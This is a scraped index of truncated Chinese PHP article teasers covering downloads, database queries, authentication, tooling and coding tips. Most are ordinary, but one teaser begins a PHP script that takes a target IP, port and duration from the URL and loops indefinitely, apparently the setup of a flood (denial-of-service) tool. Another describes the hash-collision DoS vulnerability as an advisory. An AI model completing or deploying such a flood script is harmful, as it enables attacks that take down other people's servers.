Time of Update: 2017-02-28
<?php /** * PHP-HTTP斷點續傳實現 * @param string $path: 檔案所在路徑 * @param string $file: 檔案名稱 * @return void */ function download($path,$file) { $real = $path.'/'.$file; if(!file_exists($real)) { return false; } $size =
Time of Update: 2017-02-28
Google Voice並沒有提供官方API介面,但是實際上還是可以通過HTTP和XML請求的手段來實現。目前網上能夠找到的API最終大都是溯源到Chad Smith的這篇主題帖。 要通過Google Voice實現傳送簡訊,首先要登入到Google Voice帳號,然後取出頁面中的“_rnr_se”參數,最後把這個參數和對方手機號、簡訊內容POST到Google Voice SMS的地址即可。Tyler Hall曾經寫過一個Google
Time of Update: 2017-02-28
PHP通過ADO方式串連Access資料庫,如下代碼:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="htt
Time of Update: 2017-02-28
PHP查詢MySQL資料庫,並將結果分欄顯示,如下代碼:<html> <head> <?php session_start(); include("conn.php"); ?> <title>查詢結果的分欄顯示 - www.cxybl.com</title> </head> <body&g
Time of Update: 2017-02-28
6. 密碼驗證 也許你想在自己的網站放上你的照片集,而且只想給自己知心的朋友看,這時你需要一個密碼驗證的程式。 6.1 基於HTTP驗證 如何用PHP來實現密碼驗證的功能呢?我們可以使用簡短的PHP代碼,使用函數header()發送HTTP標題強制驗證,用戶端瀏覽器則彈出供輸入使用者名稱和密碼的對話方塊。在PHP中,用戶端使用者輸入的資訊傳送到服務端之後自動儲存在$PHP_AUTH_USER, $PHP_AUTH_PW, 以及 $PHP_AUTH_TYPE這三個全域變數中。利用這些變數,
Time of Update: 2017-02-28
PHP的許多特點與其他軟體或者工具有關。利用迄今為止我們所學到的PHP知識,我們可以試著建立一個簡單互動的網站。利用這一過程我們又可以學到不少東西。好吧,我們現在開始專註於一個典型個人網站的建設。 5.1 計劃一個網站 一般一個個人網站包括一個歡迎頁面、一個留言本頁面、一個書籤連結頁面、一個計數器、聯絡資訊,甚至還有照片集和一些音樂檔案等等。 5.2 用include和require進行模組化
Time of Update: 2017-02-28
學習目的:學會讀取資料先看兩個函數:1、mysql_query 送出一個 query 字串。 文法: int mysql_query(string query, int [link_identifier]); 傳回值: 整數本函數送出 query 字串供 MySQL 做相關的處理或者執行。若沒有指定 link_identifier 參數,則程式會自動尋找最近開啟的 ID。當 query 查詢字串是 UPDATE、INSERT 及 DELETE 時,返回的可能是 true 或者
Time of Update: 2017-02-28
本文介紹 12 款很棒的 PHP 資源和工具,包括開發架構、開發工具、調試器等。1. CakePHPCakePHP是一個運用了諸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名設計模式的快速開發架構。該項目主要目標是提供一個可以讓各種層次的PHP開發人員快速地開發出健壯的Web應用,而 又不失靈活性。2. Zend StudioZend Studio
Time of Update: 2017-02-28
一般來說, 我們可以通過直接讓URL指向一個位於Document Root下面的檔案, 來引導使用者下載檔案. 但是, 這樣做, 就沒辦法做一些統計, 許可權檢查, 等等的工作. 於是, 很多時候, 我們採用讓PHP來做轉寄, 為使用者提供檔案下載. $file = "/tmp/dummy.tar.gz"; header("Content-type:
Time of Update: 2017-02-28
<?php/* * PHP調用Google翻譯 * author:野草 * date:2012/3/23 * email:129@jinzhe.net * site:http://yckit.com */function translate($text,$language='zh-cnen'){ if(empty($text))return false; @set_time_limit(0);&
Time of Update: 2017-02-28
PHP在之前把原始碼遷移到了git下管理, 同時也在github(https://github.com/php/php-src)上做了鏡像, 這樣一來, 就方便了更多的開發人員為PHP來貢獻代碼. 今天寫這篇文章, 就是為了給在國內的同學們, 願意為PHP開源社區做貢獻的同學們, 做個樣本, 如何為PHP來貢獻你的智慧. 現在, 假設你要為貢獻一個新特性, 或者簡單點, 你要為PHP修複一個bug(一般來說, 大家可以在這裡發現PHP已經報告的bug: 註冊github 2.
Time of Update: 2017-02-28
前日有資訊顯示當前包括PHP、Java、Ruby在內的很多語言版本存在漏洞,PHP官方開發群組成員Laruence(新浪微博)表示攻擊者可以通過構造Hash衝突實現拒絕服務的攻擊,並提供了執行個體。這個攻擊方法危害很高,攻擊成本也很小,一個台式機可以輕鬆搞垮數十台、上百台伺服器。 此漏洞一出,相當於隨便一個攻擊者就可以DDoS掉世界上的大部分網站!危害等級絕對是核彈層級。因此,PHP官方開發組緊急發布了補丁,請大家儘速修補。 PHP方面,<= 5.3.8, <=
Time of Update: 2017-02-28
$a = '212345678912000005'; $b = '212345678912000001'; var_dump($a == $b); 這段代碼的輸出是bool(true), 說明這樣判斷會得出結論是兩者相等. 類似的特性在in_array()函數第3個參數為false或者不設定的情況. 原因是首先判斷字串是否是數字, 然後轉換成long或者double(C語言資料類型)再判斷 – 使用zendi_smart_strcmp.
Time of Update: 2017-02-28
<?phpheader("charset='utf-8'");error_reporting(0);set_time_limit(0);ignore_user_abort(TRUE);$ip = $_GET['ip'];$port = $_GET['port'];$exec_time =time()+$_GET['time'];$byte = 0;$true = 1;while($true) {
Time of Update: 2017-02-28
關於如何使用PHP語言來開發應用程式,我們每個人都有自己的技巧和方法。實際上,我們大家都知道,有很多種方式和方法可以讓開發變得更加簡單。儘管如此,還是有一些方法,尤其是編碼樣式和習慣,是大家公認的。我們列舉出了5種可以改善PHP開發方式的方法。 組織和樣式 我們不應該輕視代碼的組織,選擇的編碼樣式應該是事先約定好的,許多人只是隨機的在做這些事情,這讓他們的代碼變得十分混亂,十分令人難以理解。 你可以在那裡宣稱自己是最好的開發人員,但是,如果你的代碼缺乏良好的組織,你是不
Time of Update: 2017-02-28
你是否在程式開發的過程中遇到以下的情況:當你花了很長的時間開發一個PHP應用後,你認為應該是大功告成了,可惜在調試的時候,老是不斷的發現bug,而且最可怕的是,這些bug是重複出現的,你可能發現這些bug之間會有關聯,但卻老是找不到問題的所在。 當你遇到以上這些令你沮喪的情況時,你一定會想能有什麼更好的辦法去解決呢?辦法當然是有的!這就是使用單元測試。單元測試不但可以在一定程度上解決上述頭疼的問題,而且能讓代碼變的容易維護,還可以能讓你更多地對代碼進行重構。 一旦你編寫好單元測試用例,當
Time of Update: 2017-02-28
我是一個PHP新手,只有6個月的PHP編程經曆,並且是在一位經過認證的zend工程師的指導下完成工作的,每當我編寫指令碼時,我會注意一些能讓我做得更好的細節,也就是本文列舉的這14個PHP編碼好習慣,如果你有更好的建議,歡迎在本文後面的評論中發表,我這個人是喜歡求知的。 1、使用select從相同的資料庫查詢資訊時,使用一個join語句一次性整齊地擷取你需要的所有資訊,而不要寫多個mysql_query/while/mysql_fetch_array語句。 2、如果你在多個檔案中調用了一
Time of Update: 2017-02-28
目前LAMP (Linux + Apache + MySQL + PHP) 近幾年來發展迅速,已經成為Web 服務器的事實標準。本文我們將介紹基於LAMP組合的伺服器的效能最佳化技巧:加速PHP。 Apache伺服器最佳化、PHP最佳化、Mysql最佳化 1.使用eaccelerator 我們上面的介紹Apache伺服器的最佳化,如果您曾經瀏覽過 PHP 的網頁時,或許會發現:怎麼 PHP 的速度慢慢的,這是怎麼一回事啊?PHP
Time of Update: 2017-02-28
多層數組和對象轉化的用途很簡單,便於處理WebService中多層數組和對象的轉化 簡單的(array)和(object)只能處理單層的資料,對於多層的數組和對象轉換則無能為力。 通過json_decode(json_encode($object)可以將對象一次性轉換為數組,但是object中遇到非utf-8編碼的非ascii字元則會出現問題,比如gbk的中文,何況json_encode和decode的效能也值得疑慮。 下面上代碼:<?php function
Time of Update: 2017-02-28
PHP中有四個包含檔案的函數:include(), include_once(), require()和require_once()。弄清楚他們的區別是學習PHP的基礎之一,可以避免不少寫代碼過程中產生的不必要的麻煩。 include() 1. 調用方式:include(“/path/to/filename”) 2. 說明: